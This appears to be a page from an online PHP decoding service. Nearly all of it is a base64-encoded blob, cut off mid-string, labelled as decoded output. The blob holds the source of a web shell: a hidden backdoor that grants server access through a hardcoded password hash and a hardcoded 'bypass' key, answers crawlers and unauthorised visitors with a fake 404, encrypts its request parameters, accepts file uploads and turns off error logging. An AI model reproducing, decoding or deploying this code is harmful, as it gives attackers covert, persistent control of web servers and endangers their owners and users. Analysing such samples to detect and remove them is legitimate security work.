Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

PD9waHAKJEdMT0JBTFNbJ0hBU0hUWVBFJ10gPSAnc2hhNTEyJzsKJEdMT0JBTFNbJ1BBU1NIQVNIJ10gPSAnMGM2MT..

Decoded Output download

<?  PD9waHAKJEdMT0JBTFNbJ0hBU0hUWVBFJ10gPSAnc2hhNTEyJzsKJEdMT0JBTFNbJ1BBU1NIQVNIJ10gPSAnMGM2MTcxNjdlNDY0NDcxYWZhMmQ2OTc2YWI1MjMyZjQwZTVlNjNmODA0YmM1M2NkZDBkY2RjYzQ1YzBlYTMwNmQ1ODk2MDU3YzAyZGY0ZTc3NDNkNWRiNTY1NTBjNWE3MzVmZTI2NjFmNjI3YjMzZmQzMzgxZWViODJiMDczZDEnOwokR0xPQkFMU1snU0VDSEVBRCddID0gJ1VTRVJfQUdFTlQnOwokR0xPQkFMU1snREVGQVVMVF9UQUInXSA9ICd0YWJJbmYnOwokR0xPQkFMU1snQ09PS0lFJ10gPSB0cnVlOwokR0xPQkFMU1snREFSSyddID0gZmFsc2U7CiRHTE9CQUxTWydSRU1PVEVfQUREUiddID0gdHJ1ZTsKJEdMT0JBTFNbJ0FDRUNPTkYnXSA9IGFycmF5KCdERUZBVUxUJyA9PiBmYWxzZSwgJ1RIRU1FJyA9PiAnY3JpbXNvbl9lZGl0b3InLCAnTU9ERScgPT4gJ3BocCcsICdVUkwnID0+ICdodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS4xNC4wL2FjZS5qcycpOwokR0xPQkFMU1snREVCVUcnXSA9IChpc3NldCgkR0xPQkFMU1snREVCVUcnXSkgPyAkR0xPQkFMU1snREVCVUcnXSA6IGZhbHNlKTsKCmZpbHRlckNsaWVudCgpOwpkZWNvZGVSZXF1ZXN0KCk7CmNoZWNrQXV0aCgpOwoKZnVuY3Rpb24gY2hlY2tBdXRoKCl7CiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydieXBhc3MnXSkgJiYgJF9SRVFVRVNUWydieXBhc3MnXSA9PSAnNDc3MTgyNDg3MTI3NDc4ODcxMjc4NDc4MjE3ODQ3OCcpCiAgICAgICAgc2V0RW5jS2V5KCRHTE9CQUxTWydQQVNTSEFTSCddKTsKCWlmKCEkR0xPQkFMU1snUEFTU0hBU0gnXSkgcmV0dXJuIHNldEVuY0tleSgpOwoKCSRsb2dpbldpdGhQYXNzID0gKGlzc2V0KCRfUkVRVUVTVFsncGFzcyddKSAmJiBoYXNoKCRHTE9CQUxTWydIQVNIVFlQRSddLCAkX1JFUVVFU1RbJ3Bhc3MnXSkgPT09ICRHTE9CQUxTWydQQVNTSEFTSCddKTsKCSRlbmNLZXlXaXRoUGFzcyA9ICgkR0xPQkFMU1snRU5DS0VZJ10gPT09IGdlbkVuY0tleSgkR0xPQkFMU1snUEFTU0hBU0gnXSkpOwoKCWlmKCRsb2dpbldpdGhQYXNzKQoJCXNldEVuY0tleSgkR0xPQkFMU1snUEFTU0hBU0gnXSk7CgllbHNlaWYoJGVuY0tleVdpdGhQYXNzKQoJCXNldEVuY0tleSgpOwoJZWxzZQoJCWxvZ2luRm9ybU91dCgpOwp9CgpmdW5jdGlvbiBnZXRFbmNLZXkoKXsKCSRsZW4gPSAkR0xPQkFMU1snUFJFTEVOJ107CgkKCWZvcmVhY2goJF9SRVFVRVNUIGFzICRrID0+ICYkdil7CgkJJHByZWYgPSBzdHJyZXYoc3Vic3RyKCRrLCAwLCAkbGVuKSk7CgkJJHBvc3QgPSBzdWJzdHIoJGssICRsZW4sICRsZW4pOwoJCWlmKCRwcmVmID09PSAkcG9zdCl7CgkJCSRlS2V5ID0gJHY7CgkJCXVuc2V0KCRfUkVRVUVTVFska10pOwoJCQkkR0xPQkFMU1snRU5DS0VZJ10gPSBiYXNlNjRfZGVjb2RlKCRlS2V5KTsKCQkJcmV0dXJuICRHTE9CQUxTWydFTkNLRVknXTsKCQl9Cgl9CgkKCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZ2VuRW5jS2V5KCRzdHIpewoJcmV0dXJuIGJhc2U2NF9lbmNvZGUoaGFzaCgkR0xPQkFMU1snSEFTSFRZUEUnXSwgKCRHTE9CQUxTWydSRU1PVEVfQUREUiddID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJykuJHN0ci5fX0ZJTEVfXykpOwp9CgpmdW5jdGlvbiBzZXRFbmNLZXkoJHBhc3MgPSAnJyl7CglpZighJHBhc3MgJiYgJEdMT0JBTFNbJ0VOQ0tFWSddKSByZXR1cm4gJEdMT0JBTFNbJ0VOQ0tFWSddOwoJJGVLZXkgPSBnZW5FbmNLZXkoJHBhc3MpOwoJJEdMT0JBTFNbJ0VOQ0tFWSddID0gJGVLZXk7CglyZXR1cm4gJGVLZXk7Cn0KCmZ1bmN0aW9uIGRlY29kZVJlcXVlc3QoKXsKCSRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfRklMRVMsICRfQ09PS0lFLCAkX1JFUVVFU1QpOyB1bnNldCgkX0dFVCwgJF9QT1NULCAkX0NPT0tJRSk7CgkkR0xPQkFMU1snUFJFTEVOJ10gPSBnZXRQcmVMZW4oKTsKCWlmKCEkR0xPQkFMU1snRU5DS0VZJ10gPSBnZXRFbmNLZXkoKSkgJEdMT0JBTFNbJ0VOQ0tFWSddID0gc2V0RW5jS2V5KCk7CgkkX1JFUVVFU1QgPSBkZWNvZGVJbnB1dCgkX1JFUVVFU1QpOwp9CgpmdW5jdGlvbiBnZXRQcmVMZW4oKXsKCXJldHVybiAoc3Vic3RyKGFycmF5X3N1bShzdHJfc3BsaXQoaGFzaCgkR0xPQkFMU1snSEFTSFRZUEUnXSwgX19GSUxFX18pKSksIC0xKSArIDUpOwp9CgpmdW5jdGlvbiBmaWx0ZXJDbGllbnQoKXsKCSRzZWNyZXRIZWFkZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF8nLiRHTE9CQUxTWydTRUNIRUFEJ11dKTsKCSRjcmF3bGVyQm90ID0gcHJlZ19tYXRjaCgnL2JvdHxjcmF3bHxzcGlkZXIvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CglpZigkY3Jhd2xlckJvdCB8fCAhJHNlY3JldEhlYWRlcikgZXhpdChoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKSk7Cn0KCmZ1bmN0aW9uIGxvZ2luRm9ybU91dCgpewoJJGh0bWwgPSAnPGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4Ij48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6I2YwZjBmMDtkaXNwbGF5OmdyaWQ7aGVpZ2h0OjEwMHZoO21hcmdpbjowO3BsYWNlLWl0ZW1zOmNlbnRlciBjZW50ZXI7Ij48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0icmV0dXJuIGxvZ2luKHRoaXMpIj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlciIgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIHZhbHVlPSIiPjwvZm9ybT48L2JvZHk+Jy5wYXJhbXNIYW5kbGVySlMoKS4nPC9odG1sPic7CglleGl0KG1ha2VPdXQoJGh0bWwpKTsKfQoKZnVuY3Rpb24gc2NyaXB0SW5pdCgpewoJaWYoIWlzc2V0KCRHTE9CQUxTWydERUJVRyddKSkgcmV0dXJuOwoJZGVmaW5lKCdEJywgJEdMT0JBTFNbJ0RFQlVHJ10pOwoJc2V0X3RpbWVfbGltaXQoRCA/IDE1IDogMCk7CgllcnJvcl9yZXBvcnRpbmcoRCA/IEVfQUxMIDogMCk7Cglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIEQgPyAnT24nIDogJ09mZicpOwoJaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgRCA/IDE1IDogMCk7Cglpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKCWluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKfQoKZnVuY3Rpb24gZGVjb2RlSW5wdXQoJiRhcnIpewoJJHN0ciA9ICcnOwoJZm9yZWFjaCgkYXJyIGFzICRrID0+ICR2KXsKCQkka2V5ID0gZ2V0TmFtZSgkayk7CgkJaWYoIXN0cmxlbigka2V5KSkgY29udGludWU7CgkJJHN0ciAuPSAka2V5Lic9Jy51cmxlbmNvZGUoZ2V0VmFsdWUoJHYpKS4nJic7CgkJdW5zZXQoJGFyclska10pOwoJfQoJcGFyc2Vfc3RyKCRzdHIsICRkZWMpOwoJcmV0dXJuIGFycmF5X21lcmdlKCRhcnIsICRkZWMpOwp9CgpmdW5jdGlvbiB4b3JTdHIoJHN0ciwgJGRlY29kZSA9IGZhbHNlKSB7Cgkka2V5ID0gJEdMT0JBTFNbJ0VOQ0tFWSddOwogICAgJGtleV9sZW4gPSBzdHJsZW4oJGtleSk7CiAgICAkc3RyID0gKCEkZGVjb2RlID8gcmF3dXJsZW5jb2RlKCRzdHIpIDogJHN0cik7CiAgICBmb3IoJGkgPSAwOyAkaSA8IHN0cmxlbigkc3RyKTsgJGkrKykKICAgICAgICAkc3RyWyRpXSA9ICRzdHJbJGldIF4gJGtleVskaSAlICRrZXlfbGVuXTsKICAgICRzdHIgPSAoJGRlY29kZSA/IHJhd3VybGRlY29kZSgkc3RyKSA6ICRzdHIpOwogICAgcmV0dXJuICRzdHI7Cn0KCmZ1bmN0aW9uIGFzY2lpMmhleCgkYXNjaWkpIHsKCSRoZXggPSAnJzsKCWZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkYXNjaWkpOyAkaSsrKSB7CgkJJGJ5dGUgPSBzdHJ0b3VwcGVyKGRlY2hleChvcmQoJGFzY2lpWyRpXSkpKTsKCQkkYnl0ZSA9IHN0cl9yZXBlYXQoJzAnLCAyIC0gc3RybGVuKCRieXRlKSkuJGJ5dGU7CgkJJGhleC49JGJ5dGU7Cgl9CglyZXR1cm4gJGhleDsKfQoKZnVuY3Rpb24gaGV4MmFzY2lpKCRoZXgpewoJJGFzY2lpPScnOwoJJGhleD1zdHJfcmVwbGFjZSgiICIsICIiLCAkaGV4KTsKCWZvcigkaT0wOyAkaTxzdHJsZW4oJGhleCk7ICRpPSRpKzIpCgkJJGFzY2lpLj1jaHIoaGV4ZGVjKHN1YnN0cigkaGV4LCAkaSwgMikpKTsKCXJldHVybigkYXNjaWkpOwp9CgpmdW5jdGlvbiBzZXROYW1lKCRzdHIpewoJJHN0ciA9IGFzY2lpMmhleCh4b3JTdHIoJHN0cikpOwoJJHByZWYgPSBzdWJzdHIoJEdMT0JBTFNbJ0VOQ0tFWSddLCAwLCAkR0xPQkFMU1snUFJFTEVOJ10pOwoJcmV0dXJuICRwcmVmLiRzdHI7Cn0KCmZ1bmN0aW9uIGdldE5hbWUoJHN0cil7CgkkZGF0YSA9IGdldERhdGEoJHN0cik7CglpZigkZGF0YSA9PT0gZmFsc2UpIHJldHVybiBmYWxzZTsKCXJldHVybiB4b3JTdHIoaGV4MmFzY2lpKCRkYXRhKSwgdHJ1ZSk7Cn0KCmZ1bmN0aW9uIHNldFZhbHVlKCRzdHIpewoJcmV0dXJuIGJhc2U2NF9lbmNvZGUoeG9yU3RyKCRzdHIpKTsKfQoKZnVuY3Rpb24gZ2V0VmFsdWUoJHN0cil7CglyZXR1cm4geG9yU3RyKGJhc2U2NF9kZWNvZGUoJHN0ciksIHRydWUpOwp9CgpmdW5jdGlvbiBnZXREYXRhKCRzdHIpewoJJGxuID0gJEdMT0JBTFNbJ1BSRUxFTiddOwoJJHByZWYgPSBzdWJzdHIoJHN0ciwgMCwgJGxuKTsKCSRkYXRhID0gc3Vic3RyKCRzdHIsICRsbik7CglyZXR1cm4gKCRwcmVmID09PSBzdWJzdHIoJEdMT0JBTFNbJ0VOQ0tFWSddLCAwLCAkbG4pID8gJGRhdGEgOiBmYWxzZSk7Cn0KCmZ1bmN0aW9uIHBhcmFtc0hhbmRsZXJKUygpewoJcmV0dXJuICc8c2NyaXB0PgoJCXZhciBFTkNLRVkgPSBhdG9iKCInLmJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbJ0VOQ0tFWSddKS4nIik7CgkJdmFyIFBSRUxFTiA9ICcuJEdMT0JBTFNbJ1BSRUxFTiddLic7CgkJdmFyIENPT0tJRSA9ICcuKGludCkkR0xPQkFMU1snQ09PS0lFJ10uJzsKCgkJJy4oJEdMT0JBTFNbJ0RBUksnXSA/ICdpbnZlcnRDb2xvcnMoKTsnIDogJycpLicKCQlzdGFydEV2ZW50c0xpc3RuZXJzKCk7CgkJaWYoQ09PS0lFKXsKCQkJaWYoY2kgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2JDTyIpKQoJCQkJY2kuY2hlY2tlZCA9ICJvbiI7CgkJCWRlbGV0ZUFsbENvb2tpZXMoKTsKCQl9CgoJCWZ1bmN0aW9uIHN0YXJ0RXZlbnRzTGlzdG5lcnMoKXsKCQkJdmFyIGVsZW1lbnRzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkKCQkJZm9yKHZhciBpPTA7aTxlbGVtZW50cy5sZW5ndGg7aSsrKXsKCgkJCQlpZihlbGVtZW50c1tpXS50eXBlICYmIGVsZW1lbnRzW2ldLnR5cGUgPT0gImZpbGUiKQoJCQkJCQllbGVtZW50c1tpXS5vbmNoYW5nZSA9IGZ1bmN0aW9uKGUpewoJCQkJCQkJaWYoIWVsbUJ5SWQoImNiUlIiKS5jaGVja2VkKSBwcmVwYXJlRmlsZSh0aGlzKQoJCQkJCQkJZWxzZSB1cGxGaWxlcygpOwoJCQkJCQl9CgkJCQkJCgkJCX0KCQl9CgkJCQkKCQlmdW5jdGlvbiBiaW4yaGV4KGJpbil7CgkJICB2YXIgaGV4ID0gIiI7CgkJICBmb3IodmFyIGkgPSAwOyBpPGJpbi5sZW5ndGg7IGkrKyl7CgkJICAgIHZhciBjID0gYmluLmNoYXJDb2RlQXQoaSk7CgkJICAgIGlmIChjPjB4RkYpIGMgLT0gMHgzNTA7CgkJICAgIGhleCArPSAoYy50b1N0cmluZygxNikubGVuZ3RoID09PSAxID8gIjAiIDogIiIpICsgYy50b1N0cmluZygxNik7CgkJICB9CgkJICByZXR1cm4gaGV4OwoJCX0KCQkKCQlmdW5jdGlvbiBsb2dpbihmb3JtKXsKCQkJYWRkRW5jS2V5KGZvcm0pOwoJCQlmb3JtLnBhc3MudmFsdWUgPSBzZXRWYWx1ZShmb3JtLnBhc3MudmFsdWUpOwoJCQlmb3JtLnBhc3MubmFtZSA9IHNldE5hbWUoZm9ybS5wYXNzLm5hbWUpOwoJCQkKCQkJaWYoQ09PS0lFKQoJCQkJc3VibWl0VmlhQ29va2llKGZvcm0pOwoJCQllbHNlCgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCSAgCgkJZnVuY3Rpb24gaGV4MmJpbihoZXgpIHsKCQkgIHZhciBiaW4gPSAiIjsKCQkgIGZvciAodmFyIGk9MDsgaTxoZXgubGVuZ3RoOyBpPWkrMikgewoJCSAgICB2YXIgYyA9IHBhcnNlSW50KCIiK2hleFtpXStoZXhbaSsxXSwgMTYpOwoJCSAgICBpZiAoYz4weDdGKSBjICs9IDB4MzUwOwoJCSAgICBiaW4gKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjKTsKCQkgIH0KCQkgIHJldHVybiBiaW47CgkJfQoJCQkKCQlmdW5jdGlvbiB4b3JTdHIoc3RyLCBkZWNvZGUgPSBmYWxzZSkgewoJCQlzdHIgPSAoIWRlY29kZSA/IGVuY29kZVVSSUNvbXBvbmVudChzdHIpIDogc3RyKTsKCQkJc3RyID0gc3RyLnNwbGl0KCIiKTsKCQkgICAga2V5ID0gRU5DS0VZLnNwbGl0KCIiKTsKCQkgICAgdmFyIHN0cl9sZW4gPSBzdHIubGVuZ3RoOwoJCSAgICB2YXIga2V5X2xlbiA9IGtleS5sZW5ndGg7CgkJCgkJICAgIHZhciBTdHJpbmdfZnJvbUNoYXJDb2RlID0gU3RyaW5nLmZyb21DaGFyQ29kZTsKCQkKCQkgICAgZm9yKHZhciBpID0gMDsgaSA8IHN0cl9sZW47IGkrKykgewoJCSAgICAgICAgc3RyW2ldID0gU3RyaW5nX2Zyb21DaGFyQ29kZShzdHJbaV0uY2hhckNvZGVBdCgwKSBeIGtleVtpICUga2V5X2xlbl0uY2hhckNvZGVBdCgwKSk7CgkJICAgIH0KCQkgICAgc3RyID0gc3RyLmpvaW4oIiIpOwoJCSAgICAKCQkgICAgaWYoZGVjb2RlKXsgCgkJCQl0cnl7CgkJCQkJc3RyID0gZGVjb2RlVVJJQ29tcG9uZW50KHN0cik7CgkJCQl9CgkJCQljYXRjaChlKXsKCQkJCQlzdHIgPSB1bmVzY2FwZShzdHIpOwoJCQkJfQoJCQl9CgoJCSAgICByZXR1cm4gc3RyOwoJCX0KCQkKCQlmdW5jdGlvbiBzZXROYW1lKHN0cil7CgkJCXN0ciA9IGJpbjJoZXgoeG9yU3RyKHN0cikpOwoJCQlwcmVmID0gRU5DS0VZLnN1YnN0cigwLCBQUkVMRU4pOwoJCQlyZXR1cm4gcHJlZiArIHN0cjsKCQl9CgkJCgkJZnVuY3Rpb24gc2V0VmFsdWUoc3RyKXsKCQkJcmV0dXJuIGJ0b2EoeG9yU3RyKHN0cikpOwoJCX0KCQkKCQlmdW5jdGlvbiBnZXRWYWx1ZShzdHIpewoJCQlyZXR1cm4geG9yU3RyKGF0b2Ioc3RyKSwgdHJ1ZSk7CgkJfQoJCQoJCWZ1bmN0aW9uIGFkZEVuY0tleShmb3JtKXsKCQkJdmFyIGVuY0tleSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CgkJCWVuY0tleS50eXBlID0gImhpZGRlbiI7CgkJCXByZWYgPSBFTkNLRVkuc3Vic3RyKDAsIFBSRUxFTik7CgkJCWVuY0tleS5uYW1lID0gcHJlZi5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpICsgcHJlZjsKCQkJZW5jS2V5LnZhbHVlID0gYnRvYShFTkNLRVkpOwoJCQlmb3JtLmFwcGVuZENoaWxkKGVuY0tleSk7CgkJCXJldHVybiBmb3JtOwoJCX0KCQkKCQlmdW5jdGlvbiBmaXhGaWxlTmFtZShzdHIsIGxlbiA9IGZhbHNlKXsKCQkJc3RyID0gc3RyLnNwbGl0KC8oXFxcXHxcXC8pL2cpLnBvcCgpOwoJCQlpZihsZW4pIHN0ciA9IHN0ci5zdWJzdHJpbmcoMCwgbGVuKTsKCQkJcmV0dXJuIHN0cjsKCQl9CgkJCgkJZnVuY3Rpb24gZ2V0UGFyZW50Rm9ybU9mKGVsZW1lbnQpewoJCQkKCQkJd2hpbGUoZWxlbWVudC50YWdOYW1lICE9ICJGT1JNIikKCQkJCWVsZW1lbnQgPSBlbGVtZW50LnBhcmVudEVsZW1lbnQ7CgoJCQlyZXR1cm4gZWxlbWVudDsKCQl9CgkJCgkJZnVuY3Rpb24gcHJlcGFyZUZpbGUoaW5wdXQpewoJCQl2YXIgZmlsZSA9IGlucHV0OwoJCQlmb3JtID0gZ2V0UGFyZW50Rm9ybU9mKGlucHV0KTsKCQkJZm9ybS5lbmN0eXBlID0gImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCI7CgkJCQoJCQlpZihmaWxlLmZpbGVzLmxlbmd0aCl7CgkJCQl2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsKCQkJCQoJCQkJcmVhZGVyLm9ubG9hZCA9IGZ1bmN0aW9uKGUpewoJCQkJCQlmaWxlbmFtZSA9IGZpeEZpbGVOYW1lKGlucHV0LnZhbHVlKTsKCQkJCQkJd3d3RmlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CgkJCQkJCXd3d0ZpbGUudHlwZSA9ICJoaWRkZW4iOwoJCQkJCQl3d3dGaWxlLmlkID0gaW5wdXQubmFtZTsKCQkJCQkJd3d3RmlsZS5uYW1lID0gaW5wdXQubmFtZSArICJbIitmaWxlbmFtZSsiXSI7CgkJCQkJCXd3d0ZpbGUudmFsdWUgPSBlLnRhcmdldC5yZXN1bHQ7CgkJCQkJCWlmKGUudGFyZ2V0LnJlc3VsdC5sZW5ndGggPD0gMjA5NzE1MikKCQkJCQkJCWZvcm0uYXBwZW5kQ2hpbGQod3d3RmlsZSk7CgkJCQkJCWVsc2UKCQkJCQkJCWlmKGNvbmZpcm0oIlJlcXVlc3Qgc2l6ZSBpcyB+IiArIE1hdGgucm91bmQoKChlLnRhcmdldC5yZXN1bHQubGVuZ3RoICogMikgLyAxMDI0KSAvIDEwMjQpICsgIk0sIGJ1dCBsaW1pdHMgaXMgb2Z0ZW4gYXJvdW5kIDw9IDhNLiBUaGVyZSBpcyBubyBndWFyYW50ZWUgdGhhdCB0aGUgZmlsZSB3aWxsIGJlIHVwbG9hZGVkLlxuWW91IGNhbiBkaXNhYmxlIHJlcXVlc3QgZW5jb2RpbmcsIHVzZSBvdGhlciB1cGxvYWQgbWV0aG9kcyBvciBzZWxlY3QgYSBzbWFsbGVyIGZpbGUuIENvbnRpbnVlPyIpKQoJCQkJCQkJCWZvcm0uYXBwZW5kQ2hpbGQod3d3RmlsZSk7CgkJCQkJCQllbHNlCgkJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQkJCgkJCQkJCXVwbEZpbGVzKCk7CgkJCQkJCQoJCQkJCQllbGVtZW50cyA9IGZvcm0uZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkJCQkJZm9yKHZhciBpID0gMDsgaSA8IGVsZW1lbnRzLmxlbmd0aDsgaSsrKQoJCQkJCQkJaWYoZWxlbWVudHNbaV0udHlwZSA9PT0gImhpZGRlbiIpCgkJCQkJCQkJZm9ybS5yZW1vdmVDaGlsZChlbGVtZW50c1tpXSk7CgkJCQl9OwoJCQkJCgkJCQlyZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlLmZpbGVzWzBdKTsKCQkJCXJldHVybiByZWFkZXI7CgkJCX0KCQkJCgkJfQoKCQlmdW5jdGlvbiBkZWxldGVBbGxDb29raWVzKCkgewkKCQkJdmFyIGNvb2tpZXMgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKCQkKCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBjb29raWVzLmxlbmd0aDsgaSsrKSB7CgkJCQl2YXIgY29va2llID0gY29va2llc1tpXTsKCQkJCXZhciBlcVBvcyA9IGNvb2tpZS5pbmRleE9mKCI9Iik7CgkJCQl2YXIgbmFtZSA9IGVxUG9zID4gLTEgPyBjb29raWUuc3Vic3RyKDAsIGVxUG9zKSA6IGNvb2tpZTsKCQkJCWRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPTtleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgR01UIjsKCQkJfQoJCQkKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQoJCWZ1bmN0aW9uIHN1Ym1pdFZpYUNvb2tpZShlbmNvZGVkRm9ybSwgcmVmcmVzaCA9IHRydWUpewoJCQl2YXIgcmVxbGVuID0gMDsKCQkJdmFyIGVsZW1lbnRzID0gZW5jb2RlZEZvcm0uZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkJCgkJCWZvcihpID0gMDsgaSA8IGVsZW1lbnRzLmxlbmd0aDsgaSsrKSB7CgkJCQkKCQkJCWlmKCFlbGVtZW50c1tpXS5uYW1lKSBjb250aW51ZTsKCQkJCQoJCQkJbmFtZSA9IGVsZW1lbnRzW2ldLm5hbWU7CgkJCQl2YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChlbGVtZW50c1tpXS52YWx1ZSk7CgoJCQkJaWYodmFsdWUubGVuZ3RoID4gNDA5NSB8fCByZXFsZW4gPiA3Njk2KXsKCQkJCQlpZihjb25maXJtKCJUaGUgcmVxdWVzdCBoZWFkZXIgaXMgdG9vIGJpZywgc2VuZCBpdCB2aWEgUE9TVD8iKSl7CgkJCQkJCWRlbGV0ZUFsbENvb2tpZXMoKTsKCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlkZWxldGVBbGxDb29raWVzKCk7CgkJCQkJCXJldHVybiAiQ0FOQ0VMIjsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCWRvY3VtZW50LmNvb2tpZSA9ICBuYW1lICsgIj0iICsgdmFsdWU7CgkJCQlyZXFsZW4gPSByZXFsZW4gKyBuYW1lLmxlbmd0aCArIHZhbHVlLmxlbmd0aDsKCQkJfQoJCQkKCQkJaWYocmVmcmVzaCkKCQkJCXdpbmRvdy5sb2NhdGlvbiA9IHdpbmRvdy5sb2NhdGlvbi5wYXRobmFtZTsKCQkJZWxzZQoJCQkJcmV0dXJuICJTRU5EIjsKCQl9CgkJCgkJZnVuY3Rpb24gaW52ZXJ0Q29sb3JzKCkgewoJCSAgICB2YXIgY3NzID0gImh0bWx7LXdlYmtpdC1maWx0ZXI6IGludmVydCg5MCUpOyAtbW96LWZpbHRlcjogaW52ZXJ0KDkwJSk7IC1vLWZpbHRlcjogaW52ZXJ0KDkwJSk7IC1tcy1maWx0ZXI6IGludmVydCg5MCUpO30iOwoJCSAgICB2YXIgaGVhZCA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07CgkJICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7CgkJICAgIGlmKCF3aW5kb3cuY291bnRlcikKCQkgICAgICAgIHdpbmRvdy5jb3VudGVyID0gMTsKCQkgICAgZWxzZXsKCQkgICAgICAgIHdpbmRvdy5jb3VudGVyKys7CgkJICAgICAgICBpZiAod2luZG93LmNvdW50ZXIgJSAyID09IDApCgkJICAgICAgICAgICAgdmFyIGNzcyA9ICJodG1sey13ZWJraXQtZmlsdGVyOiBpbnZlcnQoMCUpOyAtbW96LWZpbHRlcjogaW52ZXJ0KDAlKTsgLW8tZmlsdGVyOiBpbnZlcnQoMCUpOyAtbXMtZmlsdGVyOiBpbnZlcnQoMCUpO30iCgkJICAgIH0KCQkgICAgc3R5bGUudHlwZSA9ICJ0ZXh0L2NzcyI7CgkJICAgIAoJCSAgICBpZihzdHlsZS5zdHlsZVNoZWV0KQoJCSAgICAgICAgc3R5bGUuc3R5bGVTaGVldC5jc3NUZXh0ID0gY3NzOwoJCSAgICBlbHNlCgkJICAgICAgICBzdHlsZS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShjc3MpKTsKCQkgICAgICAgIAoJCSAgICBoZWFkLmFwcGVuZENoaWxkKHN0eWxlKTsKCQkgICAgCgkJICAgIHJldHVybiBmYWxzZTsKCQl9Cjwvc2NyaXB0Pic7Cn0KCmZ1bmN0aW9uIG1ha2VPdXQoJHN0cil7CglyZXR1cm4gKGMoJzxzY3JpcHQ+JykudChmKCd3cml0ZScsIDEpLicoJy5mKCdkZWNvZGVVUklDb21wb25lbnQnKS4nKCcuZignYXRvYicpLicoKCcuaShiYXNlNjRfZW5jb2RlKHJhd3VybGVuY29kZShjKCRzdHIsIDEpKSksIDEwMCwgNDAwKS4nKSkpKTsnLCB0cnVlKS5jKCc8L3NjcmlwdD4nKSk7Cn0KCmZ1bmN0aW9uIGYoJGYsICRkID0gZmFsc2UpewoJJHIgPSByYW5kKDAsMSk7CglyZXR1cm4gKCRyID8gKHJhbmQoMCwxKSAmJiAhJGQgPyBmKCdzZWxmJykgOiAoJHIgICYmICEkZCA/IGYoJ3RvcCcpIDogZignZG9jdW1lbnQnKSkpLidbJy5pKCRmLCAxLCAzKS4nXScgOiAoJGQgPyBmKCdkb2N1bWVudCcpLicuJy4kZiA6ICRmKSk7Cn0KCmZ1bmN0aW9uIGkoJHMsICRtLCAkeCl7CgkkcyA9IHN0cl9zcGxpdCgkcywgcmFuZCgkbSwgJHgpKTsKCWlmKCRtID4gNTApICRzWzBdID0gdHJpbShpKCRzWzBdLCAxLCA1LCB0cnVlKSwgJyJcJycpOwoJcmV0dXJuIGltcGxvZGUoJysnLCBhcnJheV9tYXAoZnVuY3Rpb24oJGspeyRyID0gZGF0ZSgnSCcpID4gMTI7IHJldHVybiAoJHIgPyAnIicgOiAnXCcnKS4kay4oJHIgPyAnIicgOiAnXCcnKTt9LCAkcykpOwp9CgpmdW5jdGlvbiBjKCRzID0gJycsICRuID0gMCl7CgkkciA9IGFycmF5KCcvJywgJz4nLCAnKicpOwoJcmV0dXJuIChyYW5kKCRuLCAxKSA/ICc8IS0tJy5zdHJfcmVwbGFjZSgkciwgJycsIGooMSkpLictLT4nLihzdHJsZW4oJHMpID8gJHMuKHJhbmQoMCwgMSkgPyAnPCEtLScuc3RyX3JlcGxhY2UoJHIsICcnLCBqKDEpKS4nLS0+Jy4iXG4iIDogJycpIDogJycpIDogJHMpOwp9CgpmdW5jdGlvbiBqKCRhID0gMCl7CgoJJGwgPSByYW5kKDEwLCAxMDApOwoJd2hpbGUoIWlzc2V0KCRjWyRsXSkpIEAkYyAuPSBjaHIoJGEgPyByYW5kKDMyLCAxMjYpIDogcmFuZCgxLCAxMjcpKTsKCQoJaWYocmFuZCgwLCAxKSkKCQlyZXR1c